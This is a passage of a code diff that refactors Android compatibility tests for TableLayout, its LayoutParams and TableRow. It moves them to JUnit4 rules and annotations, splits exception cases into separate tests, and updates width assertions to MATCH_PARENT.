+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnShrinkable(0, false);
-        assertFalse(tableLayout.isColumnShrinkable(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnShrinkable(0, false);
+        assertFalse(mTableEmpty.isColumnShrinkable(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.setColumnShrinkable(1, false);
-        assertFalse(tableLayout.isColumnShrinkable(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.setColumnShrinkable(1, false);
+        assertFalse(mTableEmpty.isColumnShrinkable(1));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
     }
 
-    public void testAddView1() {
-        TableLayout tableLayout = new TableLayout(mContext);
+    @UiThreadTest
+    @Test
+    public void testAddView() {
+        View child1 = new TextView(mActivity);
+        mTableEmpty.addView(child1);
+        assertSame(child1, mTableEmpty.getChildAt(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
 
-        View child1 = new TextView(mContext);
-        tableLayout.addView(child1);
-        assertSame(child1, tableLayout.getChildAt(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.layout(0, 0, 200, 300);
+        View child2 = new RelativeLayout(mActivity);
+        mTableEmpty.addView(child2);
+        assertSame(child1, mTableEmpty.getChildAt(0));
+        assertSame(child2, mTableEmpty.getChildAt(1));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        View child2 = new RelativeLayout(mContext);
-        tableLayout.addView(child2);
-        assertSame(child1, tableLayout.getChildAt(0));
-        assertSame(child2, tableLayout.getChildAt(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        tableLayout.layout(0, 0, 200, 300);
-
-        View child3 = new ListView(mContext);
-        tableLayout.addView(child3);
-        assertSame(child1, tableLayout.getChildAt(0));
-        assertSame(child2, tableLayout.getChildAt(1));
-        assertSame(child3, tableLayout.getChildAt(2));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(2).isLayoutRequested());
-
-        // exceptional
-        try {
-            tableLayout.addView(null);
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
+        View child3 = new ListView(mActivity);
+        mTableEmpty.addView(child3);
+        assertSame(child1, mTableEmpty.getChildAt(0));
+        assertSame(child2, mTableEmpty.getChildAt(1));
+        assertSame(child3, mTableEmpty.getChildAt(2));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(2).isLayoutRequested());
     }
 
-    public void testAddView2() {
-        TableLayout tableLayout = new TableLayout(mContext);
-
-        View child1 = new TextView(mContext);
-        tableLayout.addView(child1, 0);
-        assertSame(child1, tableLayout.getChildAt(0));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-
-        tableLayout.layout(0, 0, 200, 300);
-
-        View child2 = new RelativeLayout(mContext);
-        tableLayout.addView(child2, 0);
-        assertSame(child2, tableLayout.getChildAt(0));
-        assertSame(child1, tableLayout.getChildAt(1));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
-
-        tableLayout.layout(0, 0, 200, 300);
-
-        View child3 = new ListView(mContext);
-        tableLayout.addView(child3, -1);
-        assertSame(child2, tableLayout.getChildAt(0));
-        assertSame(child1, tableLayout.getChildAt(1));
-        assertSame(child3, tableLayout.getChildAt(2));
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(2).isLayoutRequested());
-
-        try {
-            tableLayout.addView(new ListView(mContext), Integer.MAX_VALUE);
-            fail("Should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            tableLayout.addView(null, -1);
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddViewNull() {
+        mTableEmpty.addView(null);
     }
 
-    public void testAddView3() {
-        TableLayout tableLayout = new TableLayout(mContext);
+    @UiThreadTest
+    @Test
+    public void testAddViewAtIndex() {
+        View child1 = new TextView(mActivity);
+        mTableEmpty.addView(child1, 0);
+        assertSame(child1, mTableEmpty.getChildAt(0));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
 
-        View child1 = new TextView(mContext);
+        mTableEmpty.layout(0, 0, 200, 300);
+
+        View child2 = new RelativeLayout(mActivity);
+        mTableEmpty.addView(child2, 0);
+        assertSame(child2, mTableEmpty.getChildAt(0));
+        assertSame(child1, mTableEmpty.getChildAt(1));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
+
+        mTableEmpty.layout(0, 0, 200, 300);
+
+        View child3 = new ListView(mActivity);
+        mTableEmpty.addView(child3, -1);
+        assertSame(child2, mTableEmpty.getChildAt(0));
+        assertSame(child1, mTableEmpty.getChildAt(1));
+        assertSame(child3, mTableEmpty.getChildAt(2));
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(2).isLayoutRequested());
+    }
+
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddViewAtIndexTooLow() {
+        mTableEmpty.addView(null, -1);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testAddViewAtIndexTooHigh() {
+        mTableEmpty.addView(new ListView(mActivity), Integer.MAX_VALUE);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAddViewWithLayoutParams() {
+        View child1 = new TextView(mActivity);
         assertNull(child1.getLayoutParams());
-        tableLayout.addView(child1, new ViewGroup.LayoutParams(100, 200));
-        assertSame(child1, tableLayout.getChildAt(0));
-        assertEquals(100, tableLayout.getChildAt(0).getLayoutParams().width);
-        assertEquals(200, tableLayout.getChildAt(0).getLayoutParams().height);
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
+        mTableEmpty.addView(child1, new ViewGroup.LayoutParams(100, 200));
+        assertSame(child1, mTableEmpty.getChildAt(0));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(0).getLayoutParams().width);
+        assertEquals(200, mTableEmpty.getChildAt(0).getLayoutParams().height);
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        View child2 = new TableRow(mContext);
+        View child2 = new TableRow(mActivity);
         assertNull(child2.getLayoutParams());
-        tableLayout.addView(child2, new TableRow.LayoutParams(200, 300, 1));
-        assertSame(child1, tableLayout.getChildAt(0));
-        assertSame(child2, tableLayout.getChildAt(1));
-        assertEquals(100, tableLayout.getChildAt(0).getLayoutParams().width);
-        assertEquals(200, tableLayout.getChildAt(0).getLayoutParams().height);
-        assertEquals(200, tableLayout.getChildAt(1).getLayoutParams().width);
-        assertEquals(300, tableLayout.getChildAt(1).getLayoutParams().height);
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
-
-        try {
-            tableLayout.addView(null, new TableLayout.LayoutParams(200, 300));
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            tableLayout.addView(new ListView(mContext), null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        mTableEmpty.addView(child2, new TableRow.LayoutParams(200, 300, 1));
+        assertSame(child1, mTableEmpty.getChildAt(0));
+        assertSame(child2, mTableEmpty.getChildAt(1));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(0).getLayoutParams().width);
+        assertEquals(200, mTableEmpty.getChildAt(0).getLayoutParams().height);
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(1).getLayoutParams().width);
+        assertEquals(300, mTableEmpty.getChildAt(1).getLayoutParams().height);
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
     }
 
-    public void testAddView4() {
-        TableLayout tableLayout = new TableLayout(mContext);
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddViewWithLayoutParamsNullView() {
+        mTableEmpty.addView(null, new TableLayout.LayoutParams(200, 300));
+    }
 
-        View child1 = new TextView(mContext);
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddViewWithLayoutParamsNullLayoutParams() {
+        mTableEmpty.addView(new ListView(mActivity), null);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAddViewAtIndexWithLayoutParams() {
+        View child1 = new TextView(mActivity);
         assertNull(child1.getLayoutParams());
-        tableLayout.addView(child1, 0, new ViewGroup.LayoutParams(100, 200));
-        assertSame(child1, tableLayout.getChildAt(0));
-        assertEquals(100, tableLayout.getChildAt(0).getLayoutParams().width);
-        assertEquals(200, tableLayout.getChildAt(0).getLayoutParams().height);
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
+        mTableEmpty.addView(child1, 0, new ViewGroup.LayoutParams(100, 200));
+        assertSame(child1, mTableEmpty.getChildAt(0));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(0).getLayoutParams().width);
+        assertEquals(200, mTableEmpty.getChildAt(0).getLayoutParams().height);
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        View child2 = new TableRow(mContext);
+        View child2 = new TableRow(mActivity);
         assertNull(child2.getLayoutParams());
-        tableLayout.addView(child2, 0, new TableRow.LayoutParams(200, 300, 1));
-        assertSame(child2, tableLayout.getChildAt(0));
-        assertSame(child1, tableLayout.getChildAt(1));
-        assertEquals(200, tableLayout.getChildAt(0).getLayoutParams().width);
-        assertEquals(300, tableLayout.getChildAt(0).getLayoutParams().height);
-        assertEquals(100, tableLayout.getChildAt(1).getLayoutParams().width);
-        assertEquals(200, tableLayout.getChildAt(1).getLayoutParams().height);
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
+        mTableEmpty.addView(child2, 0, new TableRow.LayoutParams(200, 300, 1));
+        assertSame(child2, mTableEmpty.getChildAt(0));
+        assertSame(child1, mTableEmpty.getChildAt(1));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(0).getLayoutParams().width);
+        assertEquals(300, mTableEmpty.getChildAt(0).getLayoutParams().height);
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(1).getLayoutParams().width);
+        assertEquals(200, mTableEmpty.getChildAt(1).getLayoutParams().height);
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
 
-        tableLayout.layout(0, 0, 200, 300);
+        mTableEmpty.layout(0, 0, 200, 300);
 
-        View child3 = new ListView(mContext);
+        View child3 = new ListView(mActivity);
         assertNull(child3.getLayoutParams());
-        tableLayout.addView(child3, -1, new ListView.LayoutParams(300, 400));
-        assertSame(child2, tableLayout.getChildAt(0));
-        assertSame(child1, tableLayout.getChildAt(1));
-        assertSame(child3, tableLayout.getChildAt(2));
-        assertEquals(200, tableLayout.getChildAt(0).getLayoutParams().width);
-        assertEquals(300, tableLayout.getChildAt(0).getLayoutParams().height);
-        assertEquals(100, tableLayout.getChildAt(1).getLayoutParams().width);
-        assertEquals(200, tableLayout.getChildAt(1).getLayoutParams().height);
-        assertEquals(300, tableLayout.getChildAt(2).getLayoutParams().width);
-        assertEquals(400, tableLayout.getChildAt(2).getLayoutParams().height);
-        assertTrue(tableLayout.getChildAt(0).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(1).isLayoutRequested());
-        assertTrue(tableLayout.getChildAt(2).isLayoutRequested());
-
-        try {
-            tableLayout.addView(new ListView(mContext), Integer.MAX_VALUE,
-                    new TableLayout.LayoutParams(200, 300));
-            fail("Should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            tableLayout.addView(null, -1, new TableLayout.LayoutParams(200, 300));
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            tableLayout.addView(new ListView(mContext), -1, null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        mTableEmpty.addView(child3, -1, new ListView.LayoutParams(300, 400));
+        assertSame(child2, mTableEmpty.getChildAt(0));
+        assertSame(child1, mTableEmpty.getChildAt(1));
+        assertSame(child3, mTableEmpty.getChildAt(2));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(0).getLayoutParams().width);
+        assertEquals(300, mTableEmpty.getChildAt(0).getLayoutParams().height);
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(1).getLayoutParams().width);
+        assertEquals(200, mTableEmpty.getChildAt(1).getLayoutParams().height);
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT,
+                mTableEmpty.getChildAt(2).getLayoutParams().width);
+        assertEquals(400, mTableEmpty.getChildAt(2).getLayoutParams().height);
+        assertTrue(mTableEmpty.getChildAt(0).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(1).isLayoutRequested());
+        assertTrue(mTableEmpty.getChildAt(2).isLayoutRequested());
     }
 
-    public void testGenerateLayoutParams1() {
-        TableLayout tableLayout = new TableLayout(mContext);
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testAddViewAtIndexWithLayoutParamsIndexTooHigh() {
+        mTableEmpty.addView(new ListView(mActivity), Integer.MAX_VALUE,
+                new TableLayout.LayoutParams(200, 300));
+    }
 
-        TableCtsActivity activity = getActivity();
-        XmlResourceParser parser = activity.getResources().getLayout(R.layout.table_layout_1);
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddViewAtIndexWithLayoutParamsNullView() {
+        mTableEmpty.addView(null, -1, new TableLayout.LayoutParams(200, 300));
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddViewAtIndexWithLayoutParamsNullLayoutParams() {
+        mTableEmpty.addView(new ListView(mActivity), -1, null);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testGenerateLayoutParamsFromAttributeSet() {
+        XmlResourceParser parser = mActivity.getResources().getLayout(R.layout.table_layout_1);
         AttributeSet attr = Xml.asAttributeSet(parser);
 
-        assertNotNull(tableLayout.generateLayoutParams(attr));
+        assertNotNull(mTableEmpty.generateLayoutParams(attr));
 
-        assertNotNull(tableLayout.generateLayoutParams((AttributeSet) null));
+        assertNotNull(mTableEmpty.generateLayoutParams((AttributeSet) null));
     }
 
+    @UiThreadTest
+    @Test
     public void testCheckLayoutParams() {
-        MockTableLayout mockTableLayout = new MockTableLayout(mContext);
+        assertTrue(mTableCustomEmpty.checkLayoutParams(new TableLayout.LayoutParams(200, 300)));
 
-        assertTrue(mockTableLayout.checkLayoutParams(new TableLayout.LayoutParams(200, 300)));
+        assertFalse(mTableCustomEmpty.checkLayoutParams(new ViewGroup.LayoutParams(200, 300)));
 
-        assertFalse(mockTableLayout.checkLayoutParams(new ViewGroup.LayoutParams(200, 300)));
+        assertFalse(mTableCustomEmpty.checkLayoutParams(new RelativeLayout.LayoutParams(200, 300)));
 
-        assertFalse(mockTableLayout.checkLayoutParams(new RelativeLayout.LayoutParams(200, 300)));
-
-        assertFalse(mockTableLayout.checkLayoutParams(null));
+        assertFalse(mTableCustomEmpty.checkLayoutParams(null));
     }
 
+    @UiThreadTest
+    @Test
     public void testGenerateDefaultLayoutParams() {
-        MockTableLayout mockTableLayout = new MockTableLayout(mContext);
-
-        LinearLayout.LayoutParams layoutParams = mockTableLayout.generateDefaultLayoutParams();
+        LinearLayout.LayoutParams layoutParams = mTableCustomEmpty.generateDefaultLayoutParams();
         assertNotNull(layoutParams);
         assertTrue(layoutParams instanceof TableLayout.LayoutParams);
     }
 
-    public void testGenerateLayoutParams2() {
-        MockTableLayout mockTableLayout = new MockTableLayout(mContext);
-
-        LinearLayout.LayoutParams layoutParams = mockTableLayout.generateLayoutParams(
+    @UiThreadTest
+    @Test
+    public void testGenerateLayoutParamsFromLayoutParams() {
+        LinearLayout.LayoutParams layoutParams = mTableCustomEmpty.generateLayoutParams(
                 new ViewGroup.LayoutParams(200, 300));
         assertNotNull(layoutParams);
-        assertEquals(200, layoutParams.width);
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, layoutParams.width);
         assertEquals(300, layoutParams.height);
         assertTrue(layoutParams instanceof TableLayout.LayoutParams);
-
-        try {
-            layoutParams = mockTableLayout.generateLayoutParams((ViewGroup.LayoutParams) null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testGenerateLayoutParamsFromLayoutParamsNull() {
+        mTableCustomEmpty.generateLayoutParams((ViewGroup.LayoutParams) null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnLayout() {
-        MockTableLayout mockTableLayout = new MockTableLayout(mContext);
-
-        mockTableLayout.onLayout(false, 0, 0, 20, 20);
+        mTableCustomEmpty.onLayout(false, 0, 0, 20, 20);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnMeasure() {
-        MockTableLayout mockTableLayout = new MockTableLayout(mContext);
-
-        mockTableLayout.onMeasure(MeasureSpec.EXACTLY, MeasureSpec.EXACTLY);
-    }
-
-    private int dropNegative(int number) {
-        return (number > 0 ? number : 0);
-    }
-
-    private class MockOnHierarchyChangeListener implements OnHierarchyChangeListener {
-        private boolean mCalledOnChildViewAdded = false;
-        private boolean mCalledOnChildViewRemoved = false;
-
-        /*
-         * (non-Javadoc)
-         *
-         * @see
-         * android.view.ViewGroup.OnHierarchyChangeListener#onChildViewAdded
-         * (View, View)
-         */
-        public void onChildViewAdded(View parent, View child) {
-            mCalledOnChildViewAdded = true;
-        }
-
-        /*
-         * (non-Javadoc)
-         *
-         * @see
-         * android.view.ViewGroup.OnHierarchyChangeListener#onChildViewRemoved
-         * (View, View)
-         */
-        public void onChildViewRemoved(View parent, View child) {
-            mCalledOnChildViewRemoved = true;
-        }
-
-        public boolean hasCalledOnChildViewAdded() {
-            return mCalledOnChildViewAdded;
-        }
-
-        public boolean hasCalledOnChildViewRemoved() {
-            return mCalledOnChildViewRemoved;
-        }
-
-        public void reset() {
-            mCalledOnChildViewAdded = false;
-            mCalledOnChildViewRemoved = false;
-        }
+        mTableCustomEmpty.onMeasure(MeasureSpec.EXACTLY, MeasureSpec.EXACTLY);
     }
 
     /*
      * Mock class for TableLayout to test protected methods
      */
-    private class MockTableLayout extends TableLayout {
+    public static class MockTableLayout extends TableLayout {
         public MockTableLayout(Context context) {
             super(context);
         }
 
+        public MockTableLayout(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
         @Override
         protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {
             return super.checkLayoutParams(p);
diff --git a/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
index fbd9f97..009937f 100644
--- a/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
@@ -16,56 +16,85 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.ViewGroup;
 import android.widget.TableLayout;
 import android.widget.cts.util.XmlUtils;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
 /**
  * Test {@link TableLayout.LayoutParams}.
  */
-public class TableLayout_LayoutParamsTest extends InstrumentationTestCase {
-    private Context mTargetContext;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TableLayout_LayoutParamsTest {
+    private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTargetContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
+    @Test
     public void testConstructor() {
-        new TableLayout.LayoutParams(mTargetContext, null);
-
-        TableLayout.LayoutParams layoutParams = new TableLayout.LayoutParams(200, 300);
+        // We expect width to be MATCH and height to be WRAP as documented in TableLayout
+        TableLayout.LayoutParams layoutParams = new TableLayout.LayoutParams();
         assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
-        assertEquals(300, layoutParams.height);
-        TableLayout.LayoutParams oldParams = layoutParams;
+        assertEquals(TableLayout.LayoutParams.WRAP_CONTENT, layoutParams.height);
 
-        layoutParams = new TableLayout.LayoutParams(200, 300, 1.2f);
+        // We expect width to be MATCH and height to be WRAP as documented in TableLayout
+        layoutParams = new TableLayout.LayoutParams(mContext, null);
         assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
-        assertEquals(300, layoutParams.height);
-        assertEquals(1.2f, layoutParams.weight);
-        TableLayout.LayoutParams oldMarginParams = layoutParams;
+        assertEquals(TableLayout.LayoutParams.WRAP_CONTENT, layoutParams.height);
 
-        new TableLayout.LayoutParams();
-
-        layoutParams = new TableLayout.LayoutParams(oldParams);
+        // We expect width to be MATCH, ignoring what is passed in the constructor
+        layoutParams = new TableLayout.LayoutParams(200, 300);
         assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
         assertEquals(300, layoutParams.height);
 
-        layoutParams = new TableLayout.LayoutParams(oldMarginParams);
+        // We expect width to be MATCH, ignoring what is passed in the constructor
+        layoutParams = new TableLayout.LayoutParams(250, 350, 1.2f);
         assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
-        assertEquals(300, layoutParams.height);
+        assertEquals(350, layoutParams.height);
+        assertEquals(1.2f, layoutParams.weight, 0.0f);
+
+        // We expect width to be MATCH, ignoring what is set on the passed object
+        layoutParams = new TableLayout.LayoutParams(new ViewGroup.LayoutParams(300, 360));
+        assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
+        assertEquals(360, layoutParams.height);
+
+        // We expect width to be MATCH, ignoring what is set on the passed object
+        layoutParams = new TableLayout.LayoutParams(new ViewGroup.MarginLayoutParams(320, 420));
+        assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
+        assertEquals(420, layoutParams.height);
+
+        // We expect width to be MATCH as that is copied from the passed object
+        layoutParams = new TableLayout.LayoutParams(new TableLayout.LayoutParams(500, 400));
+        assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
+        assertEquals(400, layoutParams.height);
+
+        // We expect width to be MATCH as that is copied from the passed object
+        layoutParams = new TableLayout.LayoutParams(new TableLayout.LayoutParams(550, 650, 1.4f));
+        assertEquals(TableLayout.LayoutParams.MATCH_PARENT, layoutParams.width);
+        assertEquals(650, layoutParams.height);
+        assertEquals(1.4f, layoutParams.weight, 0.0f);
     }
 
+    @Test
     public void testSetBaseAttributes() {
         MockTableLayout_LayoutParams mockLayoutParams = new MockTableLayout_LayoutParams(200, 300);
         assertEquals(TableLayout.LayoutParams.MATCH_PARENT, mockLayoutParams.width);
@@ -73,7 +102,7 @@
 
         // base_attr_pixel: layout_width = 400px, layout_height = 600px
         AttributeSet attrs = getAttrs("base_attr_pixel");
-        TypedArray a = mTargetContext.obtainStyledAttributes(attrs,
+        TypedArray a = mContext.obtainStyledAttributes(attrs,
                 android.R.styleable.ViewGroup_Layout);
 
         mockLayoutParams.setBaseAttributes(a, android.R.styleable.ViewGroup_Layout_layout_width,
@@ -89,7 +118,7 @@
         a.recycle();
         // base_attr_fillwrap: layout_width = "match_parent", layout_height = "wrap_content"
         attrs = getAttrs("base_attr_fillwrap");
-        a = mTargetContext.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
+        a = mContext.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
 
         mockLayoutParams.setBaseAttributes(a, android.R.styleable.ViewGroup_Layout_layout_width,
                 android.R.styleable.ViewGroup_Layout_layout_height);
@@ -104,7 +133,7 @@
         a.recycle();
         // base_attr_noheight: layout_width = 600px, no layout_height.
         attrs = getAttrs("base_attr_noheight");
-        a = mTargetContext.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
+        a = mContext.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
 
         mockLayoutParams.setBaseAttributes(a, android.R.styleable.ViewGroup_Layout_layout_width,
                 android.R.styleable.ViewGroup_Layout_layout_height);
@@ -140,7 +169,7 @@
         XmlResourceParser parser = null;
         AttributeSet attrs = null;
         try {
-            parser = mTargetContext.getResources().getXml(R.xml.base_attributes);
+            parser = mContext.getResources().getXml(R.xml.base_attributes);
 
             int type;
             while ((type = parser.next()) != XmlPullParser.END_DOCUMENT
diff --git a/tests/tests/widget/src/android/widget/cts/TableRowTest.java b/tests/tests/widget/src/android/widget/cts/TableRowTest.java
index 2e917f8..330a818 100644
--- a/tests/tests/widget/src/android/widget/cts/TableRowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableRowTest.java
@@ -16,79 +16,95 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
+import android.app.Activity;
 import android.content.Context;
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
-import android.view.ViewGroup;
 import android.view.View.MeasureSpec;
-import android.view.ViewGroup.OnHierarchyChangeListener;
+import android.view.ViewGroup;
 import android.widget.LinearLayout;
 import android.widget.RelativeLayout;
 import android.widget.TableLayout;
 import android.widget.TableRow;
 import android.widget.TextView;
 
-import android.widget.cts.R;
-
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link TableRow}.
  */
-public class TableRowTest extends ActivityInstrumentationTestCase2<TableCtsActivity> {
-    Context mContext;
-    Context mTargetContext;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TableRowTest {
+    private Activity mActivity;
 
-    public TableRowTest() {
-        super("android.widget.cts", TableCtsActivity.class);
+    @Rule
+    public ActivityTestRule<TableCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TableCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
-        mTargetContext = getInstrumentation().getTargetContext();
-    }
-
+    @Test
     public void testConstructor() {
-        new TableRow(mContext);
+        new TableRow(mActivity);
 
-        new TableRow(mContext, null);
-    }
-
-    public void testSetOnHierarchyChangeListener() {
-        TableRow tableRow = new TableRow(mContext);
-
-        MockOnHierarchyChangeListener listener = new MockOnHierarchyChangeListener();
-        tableRow.setOnHierarchyChangeListener(listener);
-
-        tableRow.addView(new TextView(mContext));
-        assertTrue(listener.hasCalledOnChildViewAdded());
-        tableRow.removeViewAt(0);
-        assertTrue(listener.hasCalledOnChildViewRemoved());
-
-        listener.reset();
-
-        tableRow.setOnHierarchyChangeListener(null);
-        tableRow.addView(new TextView(mContext));
-        assertFalse(listener.hasCalledOnChildViewAdded());
